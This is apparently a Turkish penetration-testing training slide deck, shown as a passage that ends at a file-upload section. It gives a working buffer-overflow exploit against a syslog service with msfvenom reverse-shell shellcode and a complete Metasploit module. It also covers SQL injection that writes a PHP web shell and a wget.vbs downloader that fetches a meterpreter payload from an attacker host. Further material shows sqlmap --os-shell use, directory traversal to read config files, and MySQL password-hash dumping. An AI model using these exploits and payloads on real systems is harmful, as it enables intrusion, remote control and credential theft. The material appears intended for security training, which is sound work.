• Buradaki dikkat edilmesi gereken nokta X86 mimarisi
Little Endian veri formatını kullandığı için adresimizi
payload'umuzun içine Little Endian formatında
yazmamız gerektiğidir.

0x5060103b > Little Endian \x3b\x10\x60\x50


SHELLCODE

#!/usr/bin/python
import socket
buffer = "A" * 136 + "\x3b\x10\x60\x50" + "C" * 460

s=socket.socket (socket.AF_INET,socket.SOCK_DGRAM)
s.connect(('192.168.2.13', 514))
s.send(buffer)
s.close EIP'yi ezdiğimiz alana Little
Endian formatında
"0x5060103b" değerini
yazıyoruz.
SHELLCODE
• "JMP ESP" işlemi gerçekleştiğinde "CC" karakterlerinin
olduğu alana atlayacağız. Bu adımı gözlemlemek ve
uygulama akışını payload'umuza yönlendirdiğimizden
emin olabilmek için debugger'ımızda atlama
adresimize "Breakpoint" koyabiliriz.
• Bunu yapmadığımız taktirde uygulamamız hata alarak
sonlanacak, çünkü yüklediğimiz payload işe yarar bir
payload değil.
SHELLCODE

Immunity debugger'ın alt


kısmında bulunan komut
satırından breakpoint
tanımlayabilirsiniz.
"b" düğmesine tıklayarak da
breakpoint listesini
görüntüleyebilirsiniz.
SHELLCODE

Step into
SHELLCODE

Follow in Dump -
Selection
SHELLCODE
• Breakpoint koymakla uğraşmak yerine şu şekilde de
payload'umuza atlandığından emin olabilirdik.
• "0xCC" değeri "INT 3", yani software breakpoint
instruction'ı anlamına gelir. ASCII C (yani "0x43")
karakterlerini yazdığımız alana bu değeri yazsaydık
uygulama payload'umuza atladığı anda breakpoint
uygulanabilirdi.
SHELLCODE

#!/usr/bin/python
import socket
buffer = "A" * 136 + "\x3b\x10\x60\x50" + "\xCC" * 460

s=socket.socket (socket.AF_INET,socket.SOCK_DGRAM)
s.connect(('192.168.2.13', 514))
s.send(buffer)
0x43 değerine sahip olan ASCII C
s.close
karakteri yerine Hex "CC"
değerini yazıyoruz.
Böylece uygulama akışı bu alana
yönlendiğinde breakpoint işlemi
gerçekleşecek.
SHELLCODE
CC int3

Payload'umuz'un
tam halini Follow
in Dump yaparak
gözlemleyebiliriz
SHELLCODE

• Artık shellcode'umuzu üreterek payload'umuz içinde


uygun yere yerleştirebiliriz.
• Hedef sunucudan reverse TCP shell almak için
msfvenom'un üreteceği bir shellcode'u kullanabiliriz.
• Üreteceğimiz shellcode'un içinde kötü karakter
bulunmaması için "-b" opsiyonunu kullanabiliriz.

msfvenom -p windows/shell_reverse_tcp
LHOST=192.168.x.x LPORT=4445 -e
x86/shikata_ga_nai -f c -b "\x00\x0a\x0d"
SHELLCODE
SHELLCODE
• Msfvenom yaklaşık 350 byte uzunluğunda bir
shellcode oluşturdu.
• Bu shellcode’u daha önce stack alanına yazdırdığımız
‘C’ karakterlerinin yerini alacak şekilde scriptimizi
revize ediyoruz.
• Oluşturduğumuz shellcode çalışırken belirtilen stack
alanının ilk bir kaç bytelık bölümünü eziyor. Bu
durumun shellcode'u bozmasını engellemek için
shellcode'umuzun önünde ("0x90") NOP
instruction'larından bir tampon alan oluşturacağız.
• NOP instruction'ını etkisiz bir komut olarak
düşünebilirsiniz (XCHG EAX, EAX).
SHELLCODE

Shellcode

NOP Sled
REVERSE SHELL

• Son adım olarak Kali üzerinde NetCat ile TCP 4445


portundan dinleyecek bir servis başlatacağız.
• Bu hazırlıktan sonra exploit kodumuzu çalıştırarak
reverse shell alabiliriz.

# nc -lvp 4445
REVERSE SHELL
METASPLOIT ÜZERİNE EXPLOIT EKLEME
• Mevcut açıklıktan daha kolay faydalanabilmek için,
oluşturduğumuz exploit kodunu metasploit üzerine
ekleyeceğiz.
• Bu işlem için öncelikle örnek bir metasploit exploit
kodu bulalım.
• Metasploit içerisinde bulunan kodlar Ruby dile ile
yazılmış olup, metasploit tarafından özel olarak
hazırlanmış kütüphaneleri kullanmaktadırlar.
METASPLOIT ÜZERİNE EXPLOIT EKLEME

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote


Rank = NormalRanking
include Exploit::Remote::Udp

def initialize(info = {})


super(update_info(info,
'Name' => 'BTRSyslog Remote Exploit',
'Description' => %q{BTRSyslog Buffer Overflow},
'License' => MSF_LICENSE,
'Author' => ['Emre Karadeniz',],
'References' => [[ 'http://www.btrisk.com'],],
'DefaultOptions' => {'EXITFUNC' => 'thread',},
'Payload' => {'BadChars' => "\x00\x0a\x0d",},
'Platform' => 'win',
'Targets' => [
['Tum Windows Isletim Sistemleri',
{
'Ret' => 0x5060103B,
'Offset' => 136
}],
],
'DisclosureDate' => 'October 29 2023',
'DefaultTarget' => 0))
register_options([Opt::RPORT(514),], self.class)
end

#Exploit isleminin tanimlandigi bolum


def exploit
connect_udp
sploit = rand_text_alpha(target['Offset'], bad = payload_badchars)
sploit << [target.ret].pack('V')
sploit << make_nops(16)
sploit << payload.encoded
udp_sock.put(sploit)
handler

JMP ESP adresi


disconnect_udp
end

end

Offset değeri

btrsyslog.rb
METASPLOIT ÜZERİNE EXPLOIT EKLEME

Payload'u gönderiyoruz
Handler'ı başlatıyoruz

136 byte'lık random karakter, ancak kötü karakter içermemeli


JMP ESP atlama adresi
16 adet NOP instruction'ı
PAYLOAD

btrsyslog.rb
METASPLOIT ÜZERİNE EXPLOIT EKLEME
• Scriptimiz btrsyslog.rb ismiyle kaydediyoruz ve
/usr/share/metasploit-
framework/modules/exploits/windows/misc dizinine
kopyalıyoruz.
• Msfconsole komutu ile metasploit framework’u
çalıştırıyoruz.
• Kodumuzda herhangi bir hata olması durumda
msfconsole bizi uyaracaktır.

/usr/share/metasploit-
framework/modules/exploits/windows/misc/ btrsyslog.rb
METASPLOIT ÜZERİNE EXPLOIT EKLEME

btrsyslog.rb script'imizi ilgili Metasploit dizinine kopyalıyoruz.


METASPLOIT ÜZERİNE EXPLOIT EKLEME

Eğer script'imiz Metasploit'in kurallarına


uygun değilse yukarıdaki gibi bir uyarı
görebilirsiniz. Bu durumda script'iniz
yüklenmeyecektir.
METASPLOIT ÜZERİNE EXPLOIT EKLEME

"search btrsyslog" komutu ile script'imizi


arayalım
METASPLOIT ÜZERİNE EXPLOIT EKLEME

"show options" komutu ile script'imizin


belirlenmesi gereken parametrelerini görelim
METASPLOIT ÜZERİNE EXPLOIT EKLEME

RHOST parametresini hedef sunucumuz olarak


belirledikten sonra öntanımlı payload olan meterpreter
reverse TCP payload'u ile erişim sağlayabiliriz
EXPLOIT SHELLCODE ÜZERİNE BİRKAÇ SÖZ
• Kullandığımız shellcode hazır bir shellcode, dolayısıyla
shellcode'u belleğe yazma alanımız kısıtlıysa veya
güvenlik çözümlerinden kaçınabilmek istiyorsak
shellcode geliştirme yeteneğimizin bulunması gerekir.
• Shellcode derlenen bir kodun sahip olduğu pekçok
avantaja sahip olmayıp belleğin hangi noktasında
kendisini bulursa bulsun yolunu bulabileceği yeteneğe
sahip olmak zorundadır. Bu da shellcode geliştirecek
kişinin Assembly dilini bilmesinin yanı sıra bir
uygulama belleğe yüklendiğinde proses ile ilgili oluşan
belli veri yapılarını bilmesini gerektirir.
EXPLOIT SHELLCODE ÜZERİNE BİRKAÇ SÖZ
KERNEL32.DLL MODÜLÜNÜ
THREAD ENVIRONMENT BLOCK (TEB) BELLEKTE BULMAK

• Adım-1: PEB’in adresinin bulunması


0:000> !teb
TEB at 7efdd000
fs:[0] ExceptionList: 0026f814
StackBase: 00270000
StackLimit: 0026e000
SubSystemTib: 00000000
FiberData: 00001e00
ArbitraryUserPointer: 00000000
0x30 Self: 7efdd000
EnvironmentPointer: 00000000
ClientId: 00001920 . 00001928
RpcHandle: 00000000
Tls Storage: 7efdd02c
fs:[30] PEB Address: 7efde000
LastErrorValue: 0
LastStatusValue: 0
Count Owned Locks: 0
HardErrorMode: 0
EXPLOIT SHELLCODE ÜZERİNE BİRKAÇ SÖZ
KERNEL32.DLL MODÜLÜNÜ
PROCESS ENVIRONMENT BLOCK (PEB) BELLEKTE BULMAK

• Adım-2: _PEB_LDR_DATA veri yapısının bulunması


0:000> dt nt!_peb 7efde000
ntdll!_PEB
fs:[30] +0x000 InheritedAddressSpace : 0 ''
+0x001 ReadImageFileExecOptions : 0 ''
+0x002 BeingDebugged : 0x1 ''
+0x003 BitField : 0x8 ''
+0x003 ImageUsesLargePages : 0y0
+0x003 IsProtectedProcess : 0y0
0x0c +0x003 IsLegacyProcess : 0y0
+0x003 IsImageDynamicallyRelocated : 0y1
+0x003 SkipPatchingUser32Forwarders : 0y0
+0x003 SpareBits : 0y000
+0x004 Mutant : 0xffffffff Void
+0x008 ImageBaseAddress : 0x01380000 Void
+0x00c Ldr : 0x77240200 _PEB_LDR_DATA
+0x010 ProcessParameters : 0x002f2178 _
....
EXPLOIT SHELLCODE ÜZERİNE BİRKAÇ SÖZ
KERNEL32.DLL MODÜLÜNÜ
_PEB_LDR_DATA BELLEKTE BULMAK

• Adım-3: Modül zincir listelerinin bulunması


0:000> dt _PEB_LDR_DATA 0x77240200
ntdll!_PEB_LDR_DATA
+0x000 Length : 0x30
+0x004 Initialized : 0x1 ''
+0x008 SsHandle : (null)
0x1c +0x00c InLoadOrderModuleList : _LIST_ENTRY [ 0x2f4cf8 -
0x2f5990 ]
+0x014 InMemoryOrderModuleList : _LIST_ENTRY [ 0x2f4d00
- 0x2f5998 ]
+0x01c InInitializationOrderModuleList : _LIST_ENTRY
[ 0x2f4d98 - 0x2f59a0 ]
+0x024 EntryInProgress : (null)
+0x028 ShutdownInProgress : 0 ''
+0x02c ShutdownThreadId : (null)
EXPLOIT SHELLCODE ÜZERİNE BİRKAÇ SÖZ
KERNEL32.DLL MODÜLÜNÜ
MODÜL ZİNCİR LİSTESİ BELLEKTE BULMAK

• Adım-4: Başlatılma sırasına göre modül zincir listesinin izlenmesi


1 0:000> dt _LIST_ENTRY 0x7724021c
ntdll!_LIST_ENTRY
[ 0x2f4d98 - 0x2f59a0 ]
+0x000 Flink : 0x002f4d98 _LIST_ENTRY [ 0x2f5230 - 0x7724021c ]
+0x004 Blink : 0x002f59a0 _LIST_ENTRY [ 0x7724021c - 0x2f5118 ]

2 0:000> dt _LIST_ENTRY 0x002f4d98


ntdll!_LIST_ENTRY
[ 0x2f5230 - 0x7724021c ]
+0x000 Flink : 0x002f5230 _LIST_ENTRY [ 0x2f5118 - 0x2f4d98 ]
+0x004 Blink : 0x7724021c _LIST_ENTRY [ 0x2f4d98 - 0x2f59a0 ]

3 0:000> dt _LIST_ENTRY 0x002f5230


ntdll!_LIST_ENTRY
[ 0x2f5118 - 0x2f4d98 ]
+0x000 Flink : 0x002f5118 _LIST_ENTRY [ 0x2f59a0 - 0x2f5230 ]
+0x004 Blink : 0x002f4d98 _LIST_ENTRY [ 0x2f5230 - 0x7724021c
]
EXPLOIT SHELLCODE ÜZERİNE BİRKAÇ SÖZ
KERNEL32.DLL MODÜLÜNÜ
MODÜL ADI BELLEKTE BULMAK

• Adım-5: Modül adının bulunması


0:000> dd 0x002f4d98 + 20
002f4db8 77185bc4 00004004 0000ffff 002f59cc
002f4dc8 772448e0 521ea8e7 00000000 00000000

0:000> db 77185bc4
77185bc4 6e 00 74 00 64 00 6c 00-6c 00 2e 00 64 00 6c 00 n.t.d.l.l...d.l.
77185bd4 6c 00 00 00 14 00 16 00-e0 5b 18 77 5c 00 53 00 l........[.w\.S.
77185be4 59 00 53 00 54 00 45 00-4d 00 33 00 32 00 5c 00 Y.S.T.E.M.3.2.\.
77185bf4 00 00 90 90 90 90 90 8b-ff 55 8b ec 51 51 83 65 .........U..QQ.e
77185c04 fc 00 53 56 8b 35 0c 02-24 77 57 81 fe 0c 02 24 ..SV.5..$wW....$
77185c14 77 74 31 8d 45 f8 50 6a-09 8b fe 8b 36 6a 01 ff wt1.E.Pj....6j..
EXPLOIT SHELLCODE ÜZERİNE BİRKAÇ SÖZ
BİR MODÜL İÇİNDE BİR FONKSİYONUN ADRESİNİ BULMAK
IMAGE DOS HEADER EXPORT Name Pointer Table
Modül Baz
Adresi (+0x3c) Yeni EXE # Function Name RVA WinExec
Header Offseti

IMAGE OPTIONAL HEADER EXPORT Ordinal Table

(+0x78) EXPORT Table Function Ordinal

IMAGE EXPORT DIRECTORY EXPORT Address Table

(+0x20) Name Pointer Function RVA


Table RVA (+0x24)
(+0x1c)
Sayaç: # of Functions (+0x14)

Fonksiyon RVA Adresi + Modül Baz Adresi = Fonksiyon VA Adresi


EXPLOIT SHELLCODE ÜZERİNE BİRKAÇ SÖZ
WEB
UYGULAMA
AÇIKLIKLARI
İÇERİK
• Web Uygulama Açıklıklarının Önemi
• Sistem Ele Geçirmeye Yol Açabilecek Web
Uygulama Açıklıkları
• Sistem Ele Geçirme Saldırı Ağacı
• SQL Injection Senaryosu
• Dizin Aşım Senaryosu
• Dosya Yükleme Senaryosu
• Web Saldırılarına Etki Eden Faktörler
• SQLMAP Aracının Etkinliği
WEB UYGULAMA AÇIKLIKLARININ ÖNEMİ
Web uygulama açıklıkları sadece veri sızması veya suistimale
imkan tanımaz.

Web uygulamasının eriştiği veriler veya operasyonel kritikliği ne


kadar düşük öncelikli olursa olsun barındırabileceği açıklıklar
sayesinde üzerinde koştuğu işletim sisteminin ele geçirilmesine
imkan tanıyabilir. Bu durumda saldırgan diğer hedeflere daha
etkili saldırı yapabilecek bir konuma erişmiş olur.

Bu nedenle web uygulamalarının kritikliklerini değerlendirirken


mutlaka web uygulamasının ve bu uygulamanın kullandığı
veritabanlarının bulunduğu ağ bölümlerinin kritiklikleri de
dikkate alınmalıdır.
SİSTEM ELE GEÇİRMEYE YOL AÇABİLECEK WEB
UYGULAMA AÇIKLIKLARI
İşletim sisteminin ele geçirilmesiyle sonuçlanabilecek web
uygulama açıklıkları şunlardır* (rastlanma sıklığına göre
sıralanmıştır):

• SQL Injection
• Dizin Aşım Açıklıkları
• File Upload Riskleri
• RFI / LFI Açıklıkları (PHP diline özel bir açıklık türü)
• (İşletim Sistemi) Command Injection
• Kod Injection (genellikle PHP ve Perl dillerinde görülen bir açıklık türü)

*Güvenlik alanı daimi bir araştırma alanıdır. Burada bahsetmeyi atladığımız bir web uygulama
açıklık türü de pekala sistem ele geçirmek için kullanılabilir. Ayrıca bu açıklıklar bahsettiğimiz
şekillerin dışında da kullanılarak işletim sistemi ele geçirme amacıyla kullanılabilir.
SİSTEM ELE GEÇİRME SALDIRI AĞACI
İşletim Sistemine
Shell veya
Terminal Erişimi

SSH, Telnet, VNC Sisteme Yüklenmiş


Gibi Servislerle Olan Backdoor
Sisteme Doğrudan Payload'unu
Eriş Çalıştır

Veritabanı
Fonksiyonalitesiyle Web Uygulaması OS Komutları ile
Sisteme Payload ile Sisteme Sisteme Payload
Yükle Payload Yükle Yükle

OS Komutları ile
Hassas Erişim SQL Injection ile SQL Injection ile
Web Uygulaması
Bilgilerini İçeren Sisteme Web OS Komutları
Yaz
Bir Dosyayı Oku Uygulaması Yaz Çalıştır

OS Komutları
Sisteme Web Çalıştırmamıza İmkan
Uygulaması Yükle Veren Bir PHP
Kodunu Include Et

Dizin Aşım File Upload OS Command


SQL Injection RFI / LFI Kod Injection
Açıklıkları Açıklığı Injection
SQL INJECTION SENARYOSU
İşletim Sistemine
Shell veya
Terminal Erişimi

SSH, Telnet, VNC Sisteme Yüklenmiş


Gibi Servislerle Olan Backdoor
Sisteme Doğrudan Payload'unu
Eriş Çalıştır

Veritabanı
Fonksiyonalitesiyle Web Uygulaması OS Komutları ile
Sisteme Payload ile Sisteme Sisteme Payload
Yükle Payload Yükle Yükle

OS Komutları ile
Hassas Erişim SQL Injection ile SQL Injection ile
Web Uygulaması
Bilgilerini İçeren Sisteme Web OS Komutları
Yaz
Bir Dosyayı Oku Uygulaması Yaz Çalıştır

OS Komutları
Sisteme Web Çalıştırmamıza İmkan
Uygulaması Yükle Veren Bir PHP
Kodunu Include Et

Dizin Aşım File Upload OS Command


SQL Injection RFI / LFI Kod Injection
Açıklıkları Açıklığı Injection
SQL INJECTION SENARYOSU
SQL Injection ile İşletim Sistemi Ele Geçirme Örneği
Temel Adımlar
SQL injection açıklığının tespiti sırasında veritabanının MySQL olduğunu
öğrendik, buna göre;
• MySQL'in bize sağladığı batched query yöntemini kullanacağız (injection
yaptığımız sorguyu sorunsuz bir syntax ile sonlandırdıktan sonra veritabanı
fonksiyonalitesini kullanacak komutumuzu yazacağız)
• MySQL'in "SELECT ... INTO OUTFILE ..." özelliğinden faydalanarak bir web
uygulaması yazacağız
• Bu web uygulaması bizim verdiğimiz komutları işletim sisteminde işletecek
• İşletim sistemi komutları ile payload dosyamızı hedef sunucuya
yükleyeceğiz
• İşletim sistemi komutu ile payload'u çalıştıracağız ve shell'imizi alacağız
SQL INJECTION SENARYOSU
[Fatura Detaylarım / Detay Göster] fonksiyonu ("id" parametresi)

UYGULAMA ERİŞİMİ İÇİN !


Kullanıcı Kodu: 5550000002
Parola: 1

Uygulamamızın aldığı parametrelerden birisi de Fatura


Detaylarım fonksiyonundaki "id" parametresi
SQL INJECTION SENARYOSU

Bu parametreyi "'" işareti ile değiştirdiğimizde PHP kodu


içinde bulunan MySQL API'leri hata üretiyor. Bunun nedeni
veritabanına giden SQL cümlesinin yapısını bozmuş olmamız.
SQL INJECTION SENARYOSU

SQL cümlesinin yapısını bozmadan kendi istediğimiz işlemleri veritabanı sunucusuna


yaptırabilmek için UNION SELECT deyimini kullanıyoruz. Ancak bu deyimi
kullanabilmek için iki koşulu yerine getirmemiz gerekiyor:

• SELECT edilen alan sayısının bir önceki SELECT deyimi ile aynı olması
• SELECT edilen alanların kendi bir önceki SELECT deyimi ile veri uyumsuzluğu
bulunmaması
SQL INJECTION SENARYOSU

Bu arada "--" işaretlerinden sonra konan


boşluk karakteri MySQL'in bir kuralı olduğu
için konuluyor. Ondan sonra gelen bir rakam
da bu boşluğun net biçimde görülebilmesi için
genellikle kullanılır. MySQL'in comment
2 parametre de yeterli olmuyor.
karakterlerinden birisi de "#" işaretidir. Ancak
Denemeye devam etmeliyiz.
bunu browser'da kullanırsak browser URL'in
Burada SELECT deyiminin yanında
burada bittiğini düşünerek iletmiyor. Bu değeri
numerik sabit değerler
Burp üzerinde Repeater modülünde
kullanmamızın nedeni numerik
kullanabilirsiniz.
verilerin string veriler ile uyumlu
olması. Ancak tersi söz konusu
değil. Bir başka yöntem de NULL
sabitinin kullanılması olabilirdi.
SQL INJECTION SENARYOSU

Kolon sayısının 6 olduğunu


hata ortadan kalktığında
öğrenmiş olduk.
SQL INJECTION SENARYOSU

Slayt'larda görünmemekle birlikte sayfada aşağıda halen hata alan


başka bir kod bölümü daha var. Muhtemelen girdiğimiz parametre
bir başka sorguda daha kullanılıyor. Bu gariplik SQLMAP gibi
araçların kafasını karıştıran etkenlerden birisi olabiliyor.
SQL INJECTION SENARYOSU

UNION SELECT 1,2,3,4,5,"<?php


System($_REQUEST['cmd']); ?>" INTO OUTFILE
'C:\\wamp\\www\\cmd.php'-- 2

MySQL'in INTO OUTFILE deyimi sayesinde hedef sunucu üzerinde bir


PHP kodu yazabildik. Tabi güvenlik ayarları yükseltilmiş MySQL
sunucularında bu mümkün olmayabilir !
SQL INJECTION SENARYOSU

/cmd.php?cmd=ipconfig

Dosyamızın başarı ile oluşup oluşmadığını


örnekteki gibi herhangi bir işletim sistemi
komutunu "cmd" parametresine yazarak
deneyelim.
SQL INJECTION SENARYOSU

Bu tür işlemleri Burp


üzerinde Repeater modülü ile
de gerçekleştirebilirdik.
SQL INJECTION SENARYOSU

Ancak "URL encode as you type"


seçeneğini aktif hale getirmeyi
unutmayalım. Browser bizim için
URL'de girdiğimiz karakterleri
URL encode ediyordu.
Repeater'da aynı işlemi
yapabilmek için bu seçeneği aktif
hale getirmeliyiz.
SQL INJECTION SENARYOSU

URL Encode edilmiş


değişikliğimiz
SQL INJECTION SENARYOSU
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
SQL INJECTION SENARYOSU

wget.vbs script'imizi
oluşturacak komutları
bir dosyaya kaydedelim
SQL INJECTION SENARYOSU

cmd.Php uygulamamız aracılığı ile script'imizi daha kolay oluşturabilmek


için Burp'ün Intruder modülünü kullanabiliriz.
Burp'te payload satırlarımızın yerleşmesi gereken yeri belirtiyoruz.
SQL INJECTION SENARYOSU

Payloads tab'ında
göndereceğimiz istekleri
dosyadan yükleyebiliriz
SQL INJECTION SENARYOSU
SQL INJECTION SENARYOSU
SQL INJECTION SENARYOSU

Uygulama
Uygulama sunucusuna
sunucusuna yüklemek
yüklemek üzere
üzere bir
bir meterpreter
meterpreter staged
staged
payload
payload üretiyoruz.
üretiyoruz.
python -m
SimpleHTTPServer 80 msfvenom -p windows/meterpreter/reverse_tcp
lhost=192.168.152.129 lport=5555 -f exe -o
payload.exe
SQL INJECTION SENARYOSU

cscript wget.vbs http://192.168.152.129/payload.exe payload.exe

cscript wget.vbs http://192.168.152.129/payload.exe payload.exe


SQL INJECTION SENARYOSU

TCP 5555 portundan dinlemek üzere Reverse TCP


Meterpreter payload'umuz için handler'ımızı başlatıyoruz
SQL INJECTION SENARYOSU

cmd.php?cmd=payload.exe
SQL INJECTION SENARYOSU

payload.exe çalıştığında
reverse TCP bağlantımız
gerçekleşiyor
SQLMAP KULLANIMI

Sqlmap ile SQL injection saldırısını yapabilmek için öncelikle


geçerli cookie'leri kullanmamız lazım, çünkü açıklık barındıran
sayfamıza geçerli bir oturum cookie'si ile erişebiliyoruz
SQLMAP KULLANIMI

sqlmap --url="http://192.168.152.128/master.php?group=fatura&page=FaturaDetaylarim.php&id=7"
--cookie="BTRmCookie=353535303030303030323a42757268616e657474696e3a4f7a67656e63;
PHPSESSID=NTAwMDAwMDAzMDY5" -p id --os-shell
SQLMAP KULLANIMI
SQL INJECTION SENARYOSU
SQL Injection ile Başka Hangi Yöntemlerle İşletim
Sistemi Ele Geçirebilirim Diyenler İçin;
SQLMAP'in yazarlarından, detaylı bir araştırma makalesi:
• http://www.slideshare.net/inquis/advanced-sql-injection-to-o
perating-system-full-control-whitepaper-4633857
DİZİN AŞIM SENARYOSU
İşletim Sistemine
Shell veya
Terminal Erişimi

SSH, Telnet, VNC Sisteme Yüklenmiş


Gibi Servislerle Olan Backdoor
Sisteme Doğrudan Payload'unu
Eriş Çalıştır

Veritabanı
Fonksiyonalitesiyle Web Uygulaması OS Komutları ile
Sisteme Payload ile Sisteme Sisteme Payload
Yükle Payload Yükle Yükle

OS Komutları ile
Hassas Erişim SQL Injection ile SQL Injection ile
Web Uygulaması
Bilgilerini İçeren Sisteme Web OS Komutları
Yaz
Bir Dosyayı Oku Uygulaması Yaz Çalıştır

OS Komutları
Sisteme Web Çalıştırmamıza İmkan
Uygulaması Yükle Veren Bir PHP
Kodunu Include Et

Dizin Aşım File Upload OS Command


SQL Injection RFI / LFI Kod Injection
Açıklıkları Açıklığı Injection
DİZİN AŞIM SENARYOSU

Tanımlamalar /
Bilgilerim menüsünde
PDF linklerine yapılan
istekle ilgili fonksiyonda
bir dizin aşım açıklığı
bulunuyor
DİZİN AŞIM SENARYOSU

"filename" parametresine
verilen dosya ismi ile üst
dizinlerdeki dosyalara
erişmek mümkün
DİZİN AŞIM SENARYOSU

Repeater modülünde
"filename" parametresini
düzenleyerek
..\..\..\..\Windows\win.ini
dosyasının içeriğine erişebildik
DİZİN AŞIM SENARYOSU
Dizin Aşım Açıklığı ile İşletim Sistemi Ele Geçirme
Örneği
Temel Adımlar
• Öncelikle içinde hassas erişim bilgileri barındırabilecek bir dosyayı tespit
etmemiz gerekli
• Bunun için kullanabileceğimiz yöntemlerden birisi "nikto" gibi bir aracı
kullanarak ilginç olabilecek bir uygulama dosyasının tespiti olabilir
• Nikto ile tespit ettiğimiz kod dosyasının içeriğinde veritabanı bağlantı
cümlesini gözlemleyeceğiz
• Buradaki veritabanı erişim bilgilerini kullanarak ve MySQL veritabanının
uzaktan erişilebilmesi sayesinde veritabanına uzaktan bağlanacağız
• MySQL'in sağladığı imkanlar sayesinde OS komutları ile sistemi ele
geçireceğiz
DİZİN AŞIM SENARYOSU
Dizin Aşım Açıklığı ile İşletim Sistemi Ele Geçirme
Örneği
Ön Şartlar
Örneğimizde MySQL sunucusuna uzaktan "root" kullanıcısıyla erişim sağlıyoruz.
Öntanımlı olarak veritabanı sunucusuna uzaktan "root" erişimi mümkün
değildir. Bunun için şu ayarın yapılmış olduğunu varsayıyoruz:

GRANT ALL PRIVILEGES ON *.* TO 'root'@'%'


IDENTIFIED BY 'btrisk'
WITH GRANT OPTION;
FLUSH PRIVILEGES;
DİZİN AŞIM SENARYOSU

nikto taraması sonucunda web


sunucusu üzerinde config.php
adlı bir dosyanın bulunduğunu
tespit edebildik
DİZİN AŞIM SENARYOSU

..\..\..\..\wamp\www\config.php
dosyasına yaptığımız istekte
config.php dosyasının içinde web
uygulamasının veritabanı erişim
bilgilerini gözlemleyebildik
DİZİN AŞIM SENARYOSU

"nmap" taramasında sunucu


üzerindeki MySQL sunucusuna
uzaktan erişebildiğimizi görebiliriz
DİZİN AŞIM SENARYOSU
mysql --host=192.168.152.128 --user=root --password=btrisk

Bu
Bu noktadan
noktadan sonra
sonra yazılacak
yazılacak bir
bir web
web
uygulaması
uygulaması aracılığı
aracılığı ile
ile OS
OS komutları
komutları
çalıştırılabilir
çalıştırılabilir ve
ve bir
bir payload
payload
yüklenerek
yüklenerek sistem
sistem ele
ele geçirilebilir.
geçirilebilir.

select "test" into outfile "c:\\wamp\\www\\test.txt";


DİZİN AŞIM SENARYOSU

select user,host,password from mysql.user;

| root | % | *12E48759FDB4B079E2C807E41B9756AD177719B3 |
| markzuckerberg | localhost | *7B8322522948E1C43FA9706BDD4043C0A8BFCD3C |

Elde ettiğimiz hash değerlerini


daha sonra parola kırma amacıyla
kullanacağız
DİZİN AŞIM SENARYOSU

MySQL veritabanına SQL injection


yapabilmemiz halinde LOAD_FILE
fonksiyonu ile de herhangi bir
dosyaya erişmemiz mümkün
olabilirdi.
DİZİN AŞIM SENARYOSU
Dizin Aşım Açıklığı ile İşletim Sistemi Ele Geçirme
Örneği
Diğer Alternatif Hassas Dosyalar
Hedef web sunucusu eğer Unix veya Linux işletim sistemine sahip olsaydı,
sistemi ele geçirmek amacıyla ilk hedeflerimizden birisi parola hash'lerinin
tutulduğu "passwd" veya "shadow" dosyaları olabilirdi.
Hedef web uygulaması bir ASP.NET uygulaması olsaydı içinde veritabanı
bağlantı cümlelerini de barındırma ihtimali yüksek olan "web.config" dosyası iyi
bir hedef olabilirdi.
Sunucu üzerinde bulunabilecek yedekleme veya diğer batch işlemler için
kullanılan script'ler içlerinde potansiyel olarak veritabanı erişim bilgilerini
barındırabilirler.
Sunucu üzerindeki log dosyaları erişim bilgileri barındırabilir.
DOSYA YÜKLEME SENARYOSU
İşletim Sistemine
Shell veya
Terminal Erişimi

SSH, Telnet, VNC Sisteme Yüklenmiş


Gibi Servislerle Olan Backdoor
Sisteme Doğrudan Payload'unu
Eriş Çalıştır

Veritabanı
Fonksiyonalitesiyle Web Uygulaması OS Komutları ile
Sisteme Payload ile Sisteme Sisteme Payload
Yükle Payload Yükle Yükle

OS Komutları ile
Hassas Erişim SQL Injection ile SQL Injection ile
Web Uygulaması
Bilgilerini İçeren Sisteme Web OS Komutları
Yaz
Bir Dosyayı Oku Uygulaması Yaz Çalıştır

OS Komutları
Sisteme Web Çalıştırmamıza İmkan
Uygulaması Yükle Veren Bir PHP
Kodunu Include Et

Dizin Aşım File Upload OS Command


SQL Injection RFI / LFI Kod Injection
Açıklıkları Açıklığı Injection
DOSYA YÜKLEME SENARYOSU
Uygulamamızın profil
fotoğrafı yükleme
fonksiyonalitesini manipüle
ederek web sunucusuna bir
payload yükleyeceğiz
DOSYA YÜKLEME SENARYOSU

Bir profil fotoğrafı


seçtiğimizde giden istekte
2.jpg adlı bir dosya ismi
görüyoruz
DOSYA YÜKLEME SENARYOSU

Target modülünde bu dosya ismine bir


referans olup olmadığını görmek için
"Show all" düğmesine tıklayarak "images"
türü referansları da görmeye başlayabiliriz
DOSYA YÜKLEME SENARYOSU

profile_photo dizini altında 2.jpg


dosyasına bir referans görebiliyoruz
Eğer profil fotoğrafını güncellersek
dosyamızın yerleştirileceği dizinin
profile_photo dizini olması muhtemel
DOSYA YÜKLEME SENARYOSU
Dosya Yükleme Açıklığı ile İşletim Sistemi Ele Geçirme
Örneği
